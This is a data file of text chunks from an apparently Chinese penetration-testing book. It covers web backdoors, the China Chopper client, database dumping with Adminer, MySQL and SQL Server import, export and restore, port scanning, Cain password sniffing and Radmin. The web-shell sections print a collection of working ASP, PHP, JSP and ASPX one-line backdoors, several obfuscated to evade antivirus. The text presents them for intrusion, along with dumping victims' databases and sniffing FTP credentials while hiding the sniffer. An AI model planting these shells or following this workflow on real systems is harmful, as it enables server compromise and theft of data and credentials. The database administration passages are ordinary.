    {"text": "1.9.5 小结 本节对目前常见的PHP后门隐藏技术进行了分析和研究，简单介绍了这些后门技术的缺点和优点，在此基础上，通过挖掘PHP配置文件，成功找到一种高级后门隐藏技术，通过修改配置文件隐藏后门（由于后门文件不在网站目录下，因此能绕过安全狗等安全软件的防护）。"},
    {"text": "1.10 一句话后门的利用及操作 一句话后门是Web渗透中使用最多的必备工具，目前流行的一句话后门分为ASP、ASP.NET、JSP和PHP共4种类型。 一句话后门利用的实质就是通过执行SQL语句、添加或者更改字段内容等操作，在数据库表或者相应的字段中插入“<%execute request(\"pass\")%>”、“<%eval request(\"pass\")%>”、“<?php eval($_POST[pass])?>”、“<?php @eval($_POST[pass])?>”、“<%@ Page Language=\"Jscript\"%>”、“<%eval(Request.Item[\"pass\"],\"unsafe\");%>”等代码，然后通过“中国菜刀”、“lake一句话PHP后门客户端”等工具进行连接。"},
    {"text": "1.10.1 执行“中国菜刀” “中国菜刀”的英文名为“chopper”，可以到其官方网站http://www.maicaidao.com下载，解压缩后直接运行chopper.exe即可。 如图1-107所示，“中国菜刀”默认提供了http://www.maicaidao.com/server.asp、http://www.maicaidao.com/server.aspx、http://www.maicaidao.com/server.php共3种类型。 图1-107 执行“中国菜刀” 1.10.2 添加Shell 如图1-107所示，在“中国菜刀”的主界面单击右键，在弹出的快捷菜单中选择“添加”命令，即可添加Shell地址。"},
    {"text": "如图1-108所示，在“地址”文本框中输入一句话木马Shell地址，在“地址”文本框后面的文本框中输入一句话木马的连接密码，在“配置”设置区中选择脚本类型（程序会自动识别脚本类型），最后单击“添加”按钮，即可添加一个Shell地址。 图1-108 添加Shell 1.10.3 连接一句话后门 回到“中国菜刀”主界面，双击刚才添加到Shell中的地址，即可连接一句话后门。"},
    {"text": "图1-109 连接一句话后门 1.10.4 执行文件操作 通过“中国菜刀”可以方便地对文件进行操作，包括上传文件、下载文件、编辑、删除、复制、重命名、修改文件（夹）时间、新建和Access管理等。 在“中国菜刀”中，还可以对数据库进行管理，通过配置数据库用户名和用户密码等参数即可对数据库进行操作，如图1-110所示。"},
    {"text": "1．PHP非一句话经典后门 PHP运行时，如果遇见字符“``”（键盘上“～”符号的下档键），会尝试执行“``”里的命令，并返回命令执行的结果（string类型）。"},
    {"text": "其局限性在于特征码比较明显，原因在于字符“``”在PHP中很少用到，杀毒软件很容易以此为特征码扫描并警报，而且在“``”里不能执行PHP代码。"},
    {"text": "test.php?id=dir c:/ 2．加密的ASP一句话后门 将以下代码保存为ASP文件，或者将以下代码插入ASP文件，然后通过“黑狐专用一句话木马加强版”进行连接，其密码为“#”，执行效果如图1-111所示。 图1-111 使用加密的一句话木马 <script language=vbs runat=server> Execute(HextoStr(\"65786563757465287265717565737428636872283335292929\")) Function HextoStr(data) HextoStr=\"EXECUTE \"\"\"\"\" C=\"&CHR(&H\" N=\")\" Do While Len(data)>1 If IsNumeric(Left(data,1)) Then HextoStr=HextoStr&C&Left(data,2)&N data=Mid(data,3) Else HextoStr=HextoStr&C&Left(data,4)&N data=Mid(data,5) End If Loop End Function </script> <SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(String. fromCharCode (116, 114,121,123,101,118,97,108,40,82,101,113,117,101,115,116,46,102,111,114,109,40,3 9,35,39,41,43,39,39,41,125,99,97,116,99,104,40,101,41,123,125))</SCRIPt> 3．常见的ASP一句话后门收集 常见的ASP一句话木马如下。 <%%25Execute(request(\"a\"))%%25> <%Execute(request(\"a\"))%> %><%execute request(\"a\")%><% <script language=VBScript runat=server>execute request(\"a\")</script> <%25Execute(request(\"a\"))%25> %><%execute request(\"yy\")%> <%execute request(char(97))%> <%eval request(char(97))%> \":execute request(\"value\"):a=\" <script language=VBScript runat=server>if request(chr(35))<>\"\"\"\" then ExecuteGlobal request(chr(35)) </script> 在数据库里插入的一句话木马如下。 ┼攠數畣整爠煥敵瑳∨∣┩愾 ┼癥污爠煥敵瑳∨≡┩> 密码为: a utf-7的木马如下。"},
    {"text": "<%@ codepage=65000%> <% response.Charset=\"936\"%> <%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI )+j-)+j-%> Script Encoder加密示例如下。"},
    {"text": "<%@ LANGUAGE = VBScript.Encode %> <%#@~^PgAAAA==r6P. ;!+/D`14Dv&X#*@!@*ErPPD4+ P2Xn^ED+VVG4Cs,Dn;!n/D`^4M`&Xb*oBMAAA==^#~@%> 可以躲过雷客图的一句话木马示例如下。 <% set ms = server.CreateObject(\"MSScriptControl.ScriptControl.1\") ms.Language=\"VBScript\" ms.AddObject \"Response\", Response ms.AddObject \"request\", request ms.ExecuteStatement(\"ev\"&\"al(request(\"\"1\"\"))\") %> PHP一句话木马示例如下。 <? php eval($_POST[cmd]);?> <?php eval($_POST[cmd]);?> <?php system($_REQUEST['cmd']);?> <?php eval($_POST[1]);?> ASPX一句话木马示例如下。 <script language=\"C#\" runat=\"server\"> WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y(\"add6bb58e139be10\"); </script> JSP一句话后门示例如下。 <% if(request.getParameter(\"f\")!=null)(new java.io.FileOutputStream(application.getRealPath(\"\\\")+request.getParameter(\"f\")) ).write(request.getParameter(\"t\").getBytes()); %> 4．新型一句话后门 下面给出一个新型一句话后门。 <% Set o = Server.CreateObject(\"ScriptControl\") o.language = \"vbscript\" o.addcode(Request(\"cmd\")) %> 1.11 脱库利器Adminer Adminer是一个类似于phpMyAdmin的MySQL管理客户端，整个程序只有一个PHP文件，易于使用和安装，其官方下载地址为http://www.adminer.org/en/。 Adminer支持多种语言（已自带20余种翻译语言文件，用户可以按自己的需求选择相应的语言），支持PHP4.3、MySQL 4.1及以上版本，提供的功能如下。"},
    {"text": "1.11.1 测试程序运行情况 图1-112 测试并登录 将adminer.php上传至目标服务器，可以更改默认文件名为其他名字，然后在正确的路径进行访问。"},
    {"text": "如图1-112所示为Adminer的登录界面，在“语言”下拉列表中选择“简体中文”选项，也可以选择其他语言，然后在登录框中分别填写服务器、用户名、密码和数据库所对应的数据。"},
    {"text": "1.11.2 选择并查看数据库 登录成功后，会显示目前用户权限下的所有数据库，选择需要查看的数据库，如图1-113所示，选择“yoyocn”数据库进行查看。 图1-113 选择查看的数据库 勾选“discuz72”数据库后，单击该链接即可查看数据库中各个表的信息，包括数据库中的表和视图、数据库引擎、数据长度、数据行数等，如图1-114所示。 图1-114 查看表和视图 1.11.3 导出数据库 在Adminer程序界面的左下方单击“导出”超链接，打开导出数据库选项设置界面，如图1-115所示。"},
    {"text": "图1-115 下载数据库 1.11.4 导入数据库 使用Adminer导入数据库比较简单。 如图1-116所示，单击“导入”链接，可以选择上传本地文件到服务器，也可以直接从服务器上进行导入。 在选择导入的文件时，一定要先做备份，或者新建一个数据库进行测试，否则会覆盖原有数据库中数据。 图1-116 导入数据库数据 1.11.5 执行SQL命令 在Adminer中单击“SQL命令”链接，如图1-117所示，可以直接执行SQL命令。 图1-117 执行SQL命令 此外，Adminer提供了对表中的数据直接进行删除、修改和添加等操作，在此就不赘述了。 在入侵过程中，主要通过Adminer程序导出数据库，导出数据质量较高，在将数据导入数据库时很少出现错误；"},
    {"text": "1.12 MySQL数据库导入与导出攻略 在实际渗透过程中，很多网站系统都会采用MySQL+PHP+Apache架构，其中MySQL数据库是基础。 在成功渗透目标对象后，对数据库进行查看、导出数据库到本地、将数据库导入本地数据库进行还原、在本地架设模拟环境测试等，都离不开数据库的操作。 数据库的导入和导出是最常见和最基础的操作，在实际操作过程中有很多技巧和注意事项。 本节将详细介绍MySQL数据库在导入和导出方面的相关内容。 1.12.1 Linux命令行下MySQL数据库的导入与导出 本节将详细介绍Linux命令行下MySQL数据库的导入与导出。 1．MySQL数据库的导出命令参数 Linux主要通过MySQL和mysqldump命令执行数据库导出操作。"},
    {"text": "2．MySQL数据库的常见导出命令 • 导出全库，备份到本地目录，示例如下。 mysqldump -u$USER -p$PASSWD -h127.0.0.1 -P3306 --routines --default-character-set=utf8 --lock-all-tables --add-drop-database -A > db.all.sql • 导出指定库到本地目录（例如antian365库），示例如下。 mysqldump -u$USER -p$PASSWD -h127.0.0.1 -P3306 --routines --default-character-set=utf8 --databases antian365 > antian365.sql • 导出某个库的表到本地目录（例如antian365库的user表），示例如下。 mysqldump -u$USER -p$PASSWD -h127.0.0.1 -P3306 --routines --default-character-set=utf8 --tables antian365 user> antian365.user.sql • 导出指定库的表（仅数据）到本地目录（例如，MySQL库的user表，带过滤条件），示例如下。 mysqldump -u$USER -p$PASSWD -h127.0.0.1 -P3306 --routines --default-character-set=utf8 --no-create-db --no-create-info --tables mysql user --where=\"host='localhost'\"> db.table.sql • 导出某个库的所有表结构，示例如下。 mysqldump -u$USER -p$PASSWD -h127.0.0.1 -P3306 --routines --default-character-set=utf8 --no-data --databases mysql > db.nodata.sql • 导出某个查询SQL的数据为TXT文件，并将其存储到本地目录，各数据值之间用制表符分隔。 例如，SQL为“'select user,host,password from mysql.user;'”，代码如下。 mysql -u$USER -p$PASSWD -h127.0.0.1 -P3306 --default-character-set=utf8 --skip-column-names -B -e 'select user,host,password from mysql.user;' > mysql_user.txt • 导出某个查询SQL的数据为txt文件，并将其存储到MySQL服务器上。 登录MySQL，将默认的制表符换成逗号（为了适应CSV格式文件），MySQL要对指定的路径有写权限，最好用tmp目录，文件用完之后再删除，示例如下。 SELECT user,host,password FROM mysql.user INTO OUTFILE '/tmp/mysql_user.csv' FIELDS TERMINATED BY ','; 3．加快MySQL数据库导出速度的技巧 从MySQL数据库中导出的SQL语句在导入时速度可能非常慢，在处理百万级数据时，仅导入操作或许就要花费数小时。"},
    {"text": "• “--max_allowed_packet=XXX”表示客户端／服务器之间通信缓存区的最大值。 • “--net_buffer_length=XXX”表示TCP/IP和套接字通信缓冲区的大小，创建一个长度为net_buffer_length的行。 注意 max_allowed_packet和net_buffer_length不能比目标数据库的设定值大，否则可能出错。"},
    {"text": "mysql> show variables like 'max_allowed_packet'; mysql> show variables like 'net_buffer_length'; 然后，根据参数值编写mysqldump命令，示例如下。 # mysqldump -uroot -pantian365.com antian365 -e --max_allowed_packet= 8388608 --net_buffer_length=8192 > antian365.sql 现在，数据库的导入速度就变得很快了。 需要注意导入和导出端的max_allowed_packet和net_ buffer_length参数的值，要将它们设置得大一点。"},
    {"text": "4．Linux下MySQL数据库导入的常见命令 导入全库数据到MySQL时，因为其中包含MySQL库的权限表，所以导入完成后需要执行“FLUSH PRIVILEGES;”命令。 • 使用MySQL命令导入数据库，示例如下。 mysql -u$USER -p$PASSWD -h127.0.0.1 -P3306 --default-character-set=utf8 < db.all.sql • 使用source命令导入，示例如下。 需要先登录MySQL，然后执行source命令（文件名应为绝对路径）。 mysql> source /tmp/db.all.sql; • 使用MySQL恢复某个库的数据（例如antian365库的user表），示例如下。 mysql -u$USER -p$PASSWD -h127.0.0.1 -P3306 --default-character-set=utf8 antian365< antian365. user.sql • 使用source命令恢复某个库的数据（例如antian365库的user表），示例如下。 mysql -u$USER -p$PASSWD -h127.0.0.1 -P3306 --default-character-set=utf8 mysql> use antian365; mysql> source /tmp/ antian365. user.sql; • 恢复MySQL服务器上的TXT文件，示例如下。 mysql -u$USER -p$PASSWD -h127.0.0.1 -P3306 --default-character-set=utf8 mysql> use mysql; mysql> LOAD DATA INFILE '/tmp/mysql_user.txt' INTO TABLE user ; • 恢复MySQL服务器上的CSV文件（需要FILE权限，数据之间用逗号分隔），示例如下。 mysql -u$USER -p$PASSWD -h127.0.0.1 -P3306 --default-character-set=utf8 mysql> use mysql; mysql> LOAD DATA INFILE '/tmp/mysql_user.csv' INTO TABLE user FIELDS TERMINATED BY ','; • 恢复本地的TXT或CSV文件到MySQL，示例如下。 mysql -u$USER -p$PASSWD -h127.0.0.1 -P3306 --default-character-set=utf8 mysql> use mysql; mysql> LOAD DATA LOCAL INFILE '/tmp/mysql_user.csv' INTO TABLE user; //TXT 的情况 mysql> LOAD DATA LOCAL INFILE '/tmp/mysql_user.csv' INTO TABLE user FIELDS TERMINATED BY ','; //CSV 的情况 1.12.2 Windows下MySQL数据库的导入与导出 Windows下MySQL数据库的导入和导出相对简单，本节仅作基本介绍，后续还会介绍如何使用一些客户端软件实现导入和导出。 1．使用mysqldump命令导入和导出 mysqldump命令的常用格式为“mysqldump-u数据库用户名-p数据库名称>导出的数据库文件”，示例如下。 mysqldump -u root -p123456 db>d:\\backupdatabase20140916.sql //把数据库 db 导出到 backupdatabase20140916.sql 文件中 导入数据库的命令行为“mysqldump-u数据库用户名-p数据库名称<导入的数据库文件”，示例如下。 mysqldump -u root -p db < d:\\backupdatabase20140916.sql //已新建数据库 db，将 backupdatabase20140916.sql 文件导入 2．使用MySQL命令导入和导出 将数据库xxx导出为D盘根目录下的xxx.sql文件，示例如下。 D:\\ComsenzEXP\\MySQL\\bin>mysql -uroot -p123456 -hlocalhost xxx >d:\\xxx.sql 将数据库D盘下的xxx.sql文件导入数据库xxx中，示例如下。 D:\\ComsenzEXP\\MySQL\\bin>mysql -uroot -p123456 -hlocalhost xxx <d:\\xxx.sql 或者登录MySQL以后通过命令导入，示例如下。 source d:\\xxx.sql 1.12.3 将HTML文件导入MySQL数据库 某些数据库，既不是SQL文件，也不是TXT、CSV、XLS等文件，而是HTML文件，数据在HTML文件中以表格的形式存在。"},
    {"text": "如图1-119所示，单击选中“HTML文件（*.htm;*.html）”单选按钮（对各种类型的数据库，在导入过程中针对不同的类型进行选择），单击“下一步”按钮。"},
    {"text": "图1-120 查看文件的编码方式 03 选择编码方式 在导入向导的第二步中需要选择编码方式。 如图1-121所示，在本例中，我们通过查看文件格式编码已经知道其编码方式为UTF-8，因此要在“编码”下拉列表中选择“65001（UTF-8）”选项。"},
    {"text": "如果要设置导入数据的第一行为栏名称，则输入数字“1”； 如果要设置导入数据的第二行为栏名称，则输入数字“2”，此时第一行数据表示从第几行开始导入数据，如果选择“1”则表示从第一行开始，如果选择“2”则表示从第二行开始；"},
    {"text": "图1-122 设定数据库栏名称 05 设定目标表 在第五步中，需要设定目标表和源表，默认会显示同样的名称，如图1-123所示。 可以手动修改目标表的名称，可以选择新建表，也可以使用数据库中已经存在的表。 图1-123 设定表名称 06 设置目标表的列名 设置目标表的栏位名称，如图1-124所示，默认会显示第一行的数据为栏位名称。 可以对每一个目标栏位的名称进行设置，可以是默认名称，也可以对其进行修改，同时设置类型和长度等值。"},
    {"text": "图1-124 设定栏名称 07 查看导入日志 导入过程中会显示导入的百分比，当显示导入100％时，表示数据已经全部导入，在导入向导中会显示导入的日志，如图1-125所示，其中包括导入的文件、新建的表等信息。"},
    {"text": "在“导入类型”中选择“ODBC”选项，在数据链接属性中选择“Microsoft OLE DB Provider For SQL Server”选项，如图1-126所示，根据不同的数据驱动选择不同的OLE DB提供程序。 图1-126 选择OLE DB 单击“连接”按钮，输入服务器名称“.”、IP地址或者数据库服务器的名称。"},
    {"text": "图1-127 测试数据库连接 1.12.5 将XLS或者XLSX文件导入MySQL数据库 将XLS或者XLSX文件导入MySQL数据库时，除了在第二步中需要选择数据表外，其他步骤与前面介绍的步骤相同。"},
    {"text": "1．进行转码处理 使用Notepad或者其他文件编辑器打开文件，在菜单中选择“格式”选项。 如图1-129所示，选择“转为UTF-8编码格式”选项，文件将以UTF-8编码格式进行编码。 图1-129 进行转码处理 2．选择出错继续 在正式将数据导入数据库之前，勾选“遇到错误继续”复选框，如图1-130所示，导入过程中将不会因为导入的数据格式错误而终止。 图1-130 选择出错继续 3．错误信息的再处理 如图1-131所示，数据格式不全或者编码中有多余的特殊字符，将导致数据导入失败，没有被成功导入的数据会在日志中显示。 将日志中的出错信息复制到Notepad软件中查看，修改其中的错误后，再在查询器中进行查询导入即可。 图1-131 错误信息的再处理 如图1-132所示，有些SQL文件会在导出选择编码时出错，特别是中文字符，会在其中显示为“？"},
    {"text": "虽然数据库安全是DBA或者安全管理人员的职责，但普通员工也可以了解相关知识，毕竟在激烈竞争的今天，多掌握一门技能，就多一份成功的希望和保证。"},
    {"text": "下面笔者就对SQL Server 2005和SQL Server 2008的数据库还原进行详细介绍，并就恢复或者还原数据库时经常出现的问题给出解决方案。 1.13.1 还原备份SQL Server 2005数据库 本节将详细介绍SQL Server 2005数据库的新特性，并给出一个还原备份SQL Server 2005数据库的实例。 1．SQL Server 2005数据库新特性 SQL Server 2005与SQL Server 2000有很大的不同，在界面和功能上，SQL Server 2005都有很大的改进。 SQL Server 2005新增了以下9项重要功能。"},
    {"text": "（1）Notification Services增强功能 Notification Services是一种新平台，是用于生成、发送并接收通知的高伸缩性应用程序，可以把及时的、个性化的消息发送给使用各种各样设备的数以千计乃至百万计的订阅方。"},
    {"text": "（4）数据库引擎增强功能 数据库引擎引入了新的可编程性增强功能（例如，与Microsoft.NET Framework的集成，以及Transact-SQL的增强功能）、新的XML功能和新的数据类型，还包括对数据库的可伸缩性和可用性的改进。 （5）数据访问接口方面的增强功能 SQL Server 2005提供了Microsoft数据访问（MDAC）和.NET Frameworks SQL客户端提供程序方面的改进，为数据库应用程序开发人员提供了更好的易用性、更强的控制和更高的工作效率。"},
    {"text": "（7）Integration Services的增强功能 Integration Services引入了新的可扩展体系结构和新设计器，这种设计器将作业流从数据流中分离出来，并提供了一套丰富的控制流语义。"},
    {"text": "• 操作方式不同：SQL Server 2005是通过SQL Server Management Studio管理数据库的，因此可以依次单击“开始”→“程序”→“Microsoft SQL Server 2005”→“SQL Server Management Studio”选项打开数据库管理综合控制台。 • 提供的服务增多：通过服务管理器可以看到，SQL Server 2005增加了很多服务，如SQL Server Directory Helper、SQL Server Browser、SQL Server Vss Writer和SQL Server Integration Services，如图1-133所示。 图1-133 SQL Server 2005新增加的一些服务 • 管理控制台操作界面改动较大：SQL Server 2005将数据查询整合到一起，以前通过查询分析器进行的操作，现在直接整合在数据库管理中了，比以前方便、快捷。 • 其他改进：SQL Server 2005在功能上改进较多，需要用户自己体会。"},
    {"text": "在数据库操作中，非常重要的一个操作就是备份与还原，对于SQL Server 2000中的还原数据库，很多读者都是使用过，方法也非常简单，选择文件后进行强制还原，问题即可解决，然而，在SQL Server 2005中，却不能这样操作。 下面就介绍如何还原一个备份的SQL Server 2005数据库。 2．还原备份SQL Server 2005数据库实例 备份数据库的理由很多，有的是为了防止出现意外，有的是开发需要，有的是入侵后将数据库还原打包，所有的备份的目的都是为了在需要的时候还原。 恢复SQL Server 2005数据库的前提是在本机搭建了SQL Server 2005数据库平台，即安装了能够使用的SQL Server 2005数据库，且已经将备份文件放置在本地计算机中。"},
    {"text": "01 连接数据库引擎 第一次打开SQL Server Management Studio时，会自动弹出“连接到服务器”对话框，如图1-134所示，保持“服务器类型”、“服务器名称”及“身份验证”下拉列表的默认设置即可。 图1-134 连接到服务器 如果已经打开SQL Server Management Studio，则可以依次单击菜单栏上的“文件”→“连接对象资源管理器”选项，打开“连接到服务器”对话框，然后单击“连接”按钮。 连接成功后，将打开“SQL Server Management Studio”控制台窗口，如图1-135所示。 图1-135 SQL Server Management Studio控制台 02 还原数据库操作 在SQL Server Management Studio控制台窗口选中数据库或者系统数据库，然后单击右键，在弹出的快捷菜单中选择“还原数据库”选项，打开“还原数据库”窗口，如图1-136所示。"},
    {"text": "在该窗口中，需要设定目标数据库，可以手工输入目标数据库的名称，也可以单击“目标数据库”下拉列表，从已存在的数据库中选择目标数据库。"},
    {"text": "如果是数据库在线还原，就选择“源数据库”选项； 如果是从物理文件还原，则选择“源设备”选项。 图1-136 还原数据库设定 03 添加备份文件的位置 “源设备”单选按钮，然后单击文本框右边的“…”按钮，在弹出的“指定备份”对话框中添加备份的位置。 04 定位备份文件 在“指定备份”对话框中单击“添加”按钮，会弹出“定位备份文件”对话框。"},
    {"text": "默认情况下，SQL Server 2005会直接定位到其安装目录下的“MSSQL.1/MSSQL/Backup”目录，如图1-137所示，默认显示“*.bak”和“*.trn”两种备份文件。"},
    {"text": "然后，选择一个需要备份的文件即可，在本例中选择“uniport”数据库。 图1-138 选择要还原的备份数据库文件 单击“确定”按钮完成文件的选择。 返回“指定备份”对话框，如图1-139所示，单击“确定”按钮完成备份文件的选择。 图1-139 完成指定备份文件的选择 技巧 可以将所有备份文件都复制到“C:\\Program Files\\Microsoft SQL Server\\MSSQL.1\\MSSQL\\Backup”目录下，这样选择起来比较方便。 05 完成“还原的目标”和“还原的源”的设定 如图1-140所示，在“还原数据库”窗口的列表中需要还原的文件，在“还原的目标”设置区输入“uniport”，表示还原后的数据库名称是“uniport”。 单击“确定”按钮还原数据库，如图1-141所示。 图1-140 完成“还原的目标”和“还原的源”的设定 图1-141 还原数据库 06 对还原错误的处理 进行还原数据库操作时，我们可能会遇到即使按照上面的步骤也无法还原数据库的情况。"},
    {"text": "图1-142 还原数据库出现错误 解决方法很简单。 按照“E:\\Program Files\\Microsoft SQL Server\\MSSQL\\Data”路径，分别在E盘根目录下建立“Program Files”文件夹，然后在“Program Files”文件夹下建立“Microsoft SQL Server”文件夹，在“Microsoft SQL Server文件夹”下建立“MSSQL”，在“MSSQL”下建立“Data”文件夹，如图1-143所示，然后按照前面的步骤重新选择，即可完成数据库的还原。 在SQL Server 2005中，如果还原时出现如图1-142所示的错误，只要直接建立相应的文件夹便可解决，这对于大的数据库（超过1GB）还原来说无疑是福音。 图1-143 建立相应的文件夹 笔者曾经探讨过如何在SQL Server 2000中恢复一些较难恢复的数据库，即只有一个备份的数据库，没有任何其他信息。"},
    {"text": "采用几种方法，包括从互联网上寻找他人的数据库还原故障解决方案，逐个进行测试，均未解决。 笔者根据错误提示，大胆设想，终于成功恢复了数据，下面就将整个过程与读者分享。 1．常规数据库恢复方法 01 在SQL Server 2008企业管理器中新建名为“ChinaData”的数据库。 02 选择备份文件ChinaData.bak并进行恢复。 恢复过程中出现错误提示框，如图1-144所示，没有错误号码，表示数据库恢复失败。 对该数据库再次进行还原，并选择“强制还原”选项（即覆盖现有数据库），结果还是显示错误。 图1-144 数据库恢复错误提示 2．通过查询语句进行数据库恢复 通过百度搜索，获取3154错误的解决方法，其恢复过程会提示“备份集中的数据库备份与现有的数据库不同”，如图1-145所示。"},
    {"text": "use master restore database CSS_CMS from disk = 'F:\\xx路径\\file'--备份的数据库文件路径名 with replace, MOVE N'XXX_Data' TO N'F:\\要保存到的路径\\Data\\XXX.mdf', MOVE N'XXX_log' TO N'F:\\要保存到的路径\\Data\\XXX.ldf' 一般情况下，通过以上方法就可以恢复，但在本例中，经过测试，该方法行不通。"},
    {"text": "（2）还原路径不存在 对这种错误，需要手动修改路径，只要路径确实存在，就可以解决。 （3）还原路径文件有重名 这种错误出现的原因是还原的文件恰好在默认位置有同名文件，无法覆盖。"},
    {"text": "笔者对以上3个可能出现的问题进行了测试和修正，还是没有解决问题，于是只好查看SQL Server 2008的日志文件，如图1-146所示，但仍然没有找到解决的办法。 图1-146 查看日志文件 再次对数据库进行还原，发现原始文件名在“将数据库文件还原为”列表中全部为同一个名称，怀疑是文件名称不一致，如图1-147所示。"},
    {"text": "图1-147 原始文件名与还原名的一致性问题 依次按照原始文件名，在还原中将chinadata. mdf和chinadata.ndf进行对应。 例如，原始文件名为“ChinaData_9”，则应在还原中修改为“chinadata_9.mdf”和“chinadata_9.ndf”进行对应。"},
    {"text": "1.14.1 设置扫描IP地址和扫描端口 在“Setting”设置区输入“Start IP”和“End IP”的值，如图1-148所示，可以是一个IP地址，也可以是一段IP地址，一般是扫描一个C段网络，端口可以设置为21、22、80、1433、3306、8080、3389等常见的端口。"},
    {"text": "如图1-150所示，将扫描结果保存为iisputlist.txt文件。 打开iisputlist.txt文件，可以看到其内容为“IP地址：端口”形式，如图1-151所示。 图1-150 保存扫描结果 图1-151 查看iisputlist.txt文件的内容 1.14.3 再次扫描扫描结果 如果IIS PUT Scaner扫描能够得到结果，就可以再次通过NMAP等工具进行详细扫描。"},
    {"text": "如图1-152所示，在“Target”下拉列表中设置IP地址为114.249.225.83，选择不同的扫描方式进行完整扫描、快速扫描等，在扫描结果中可以看到，服务器还开放了1723端口和3389端口，表明该服务器很可能为Windows服务器。"},
    {"text": "一种情况是因为使用FTP软件时间较长而忘记了FTP的密码，又需要知道FTP的用户名和密码（FTP的用户名是明文，密码则是以多个“＊”显示）。 另一种情况是在入侵过程中获取了某FTP完整软件，也就是说，该FTP软件中包含用户使用FTP的账号和密码等信息，只要将整个文件夹复制到本地或者将配置文件复制到本地即可使用，但为了满足好奇心，往往需要知道该账号或者配置文件中所有账号所对应的密码。 虽然可以通过软件的导入等功能将FTP的账号等信息导入本地FTP软件中使用，但还是不如自己明明白白。"},
    {"text": "随着FTP软件开发技术的提高，大部分FTP软件的新版本已经屏蔽了使用星号密码查看器查看FTP软件中的账号所对应的密码的机制，这个时候，就只能使用Cain获取FTP密码了。"},
    {"text": "1.15.1 安装Cain “Cain”的全称是“Cain& Abel”，最新版本为4.9.56，该公司的网址是http://www.oxid.it，用户可以到该公司的站点下载该软件。"},
    {"text": "在其中选择用于上网的网卡，如本例选择IP地址为125.*.*.＊的网卡，然后勾选窗口下方的“Start Sniffer on start”和“Start ARP on start”复选框，最后单击“确定”按钮完成设置。"},
    {"text": "图1-154 开始监听 1.15.4 运行FTP客户端软件 在肉机（本机）上运行FTP客户端软件，在本例中使用的是FlashFTP。 运行FlashFTP后，依次连接站点中的FTP主机地址，如果用户名和密码正确，就会进入FTP服务器的相应目录。"},
    {"text": "1.15.5 查看监听结果 在Cain的主界面上单击“Sniffer”标签，在下方单击“Passwords”标签，就会在表格中看到Cain Sniffer的结果，如图1-155所示，FTP Server地址、用户名及密码一目了然。 图1-155 查看Sniffer结果 技巧 （1）先看Cain主界面的左边窗口，在密码下面即为Sniffer的结果。 Sniffer的结果是一个树形结构，如果在“（0）”中显示的是监听结果，则本例中有监听结果的是“Ftp（4）”，表示监听到4个FTP密码记录。"},
    {"text": "（2）依次单击“View”→“Hide”选项，或者使用“Alt+Del”快捷键，可以隐藏Cain监听窗口，而且在计算机上看不到Cain的任何信息，由此即可达到隐藏的目的。"},
    {"text": "（3）Cain的监听结果会保存在Cain安装目录下的对应LST文件中。 本例中监听到的是FTP密码，则结果会保存在ftp.lst文件中。 打开该文件，如图1-156所示，可以看到FTP服务器地址、客户端地址、用户名和密码，按照大小进行排序，可以很方便地找出含有监听结果的LST文件，将其复制到本地即可查看监听结果。 图1-156 文件保存中的监听结果 1.15.6 小结与探讨 Cain是一款强大的监听软件，除了密码监听外，还可以进行密码破解等。"},
    {"text": "在入侵过程中，一旦知道对方使用CuteFTP、FlashXP等FTP客户端，则可以将其整个目录及配置文件复制到本地，通过在本地还原或者获取其密码获取更多的信息，甚至直接或者间接提升权限。 这种方法虽然没有Serv-U提升权限那么直接，但是结合社会工程学进行木马捆绑诱骗，其效果还是不错的，是入侵过程中的一盏明灯！"},
    {"text": "在Radmin 3.0以前的版本中，杀毒软件都不对其进行查杀，后期，由于黑客和病毒大量使用R_server做为媒介，因此将R_server做为安全威胁处理。 目前，一些以主动防御为主的杀毒软件及防火墙会主动将R_server列入黑名单。"},
    {"text": "1.16.1 Radmin简介 “Radmin”是“Remote Administrator”的简称，其官方网站（http://www.radmin.com）的解释为“PC Remote Control Software and Remote Access Software”（PC远程控制和远程访问软件）。 Radmin是一款屡获殊荣的远程控制软件，目前新版本为3.4，它将远程控制、外包服务组件及网络监控结合到一个系统里，提供目前为止最快速、最强健且最安全的工具包。 1．主要特点 （1）最高工作速度 Radmin是目前速度最快的远程控制软件，其Direct Screen Transfer™技术采用了视频挂钩内核模式驱动程序，将捕捉率提高到每秒数百次屏幕更新。"},
    {"text": "（2）最高安全级别 Radmin以加密模式工作，为所有连接到远程计算机的数据、屏幕图像、鼠标移动和键盘信号采用随机生成的密钥256位AES强加密，而且可以使用Windows Security或Radmin Security. Windows安全性支持对特定用户使用不同的权限，或者对主域、可信域和活动目录的用户组使用不同的权限，支持自动使用登录用户凭证和Kerberos验证。"},
    {"text": "（3）硬件支持英特尔 ® AMT新产品远程控制 Radmin 3.4支持英特尔 ® AMT（主动管理技术），它允许进行远程计算机控制（即使是关闭或无法启动操作系统）。"},
    {"text": "可以使用Radmin浏览器打开、重新启动和关闭远程计算机。 Radmin还能使用户可以查看和修改远程计算机的BIOS设置，并从本地CD或磁盘映像文件启动远程计算机。"},
    {"text": "（4）全面兼容Windows 7新功能 Radmin 3.4完全支持Windows 7 32位和64位操作系统，包括用户账户控制和快速用户切换。 Radmin 3.4的服务端支持Windows 7/Vista/XP/2008/2003/2000（32位）和Windows 7/Vista/XP/2008/2003（64位）操作系统。 Radmin 3.4的浏览器端支持Windows 7/Vista/XP/2008/2003/2000/ME/98/95/NT4.0（32位）和Windows 7/Vista/XP/2008/2003（64位）操作系统。 （5）操作简单，支持多连接 Radmin支持被控端以服务的方式运行，支持多个连接和IP地址过滤（即允许特定的IP地址控制远程机器）、个性化的文档互传、远程关机，支持高分辨率模式、基于Windows NT的安全支持和密码保护，以及提供日志文件等。 Radmin目前支持TCP/IP协议，应用十分广泛。 2．软件组成 Radmin分为服务端（Radmin Server）和浏览器端（Radmin Viewer）两个部分，在早期版本中，这两个部分是集成在一起的，在Radmin 3.0以后就将其分开了。 浏览器端即Radmin.exe，服务端即早期的R_server.exe。"},
    {"text": "服务端主程序由“R_server.exe”更名为“rserver3.exe”，其安装文件路径由“C:\\Program Files\\Radmin”变为“C:\\ WINDOWS\\system32\\rserver30”，共有25个主要程序文件。"},
    {"text": "2．服务端详细设置 01 设置主窗口 依次单击“开始”→“程序”→“Radmin Server 3”→“Setting For Radmin Server”选项，进入Radmin Server设置窗口，如图1-157所示。"},
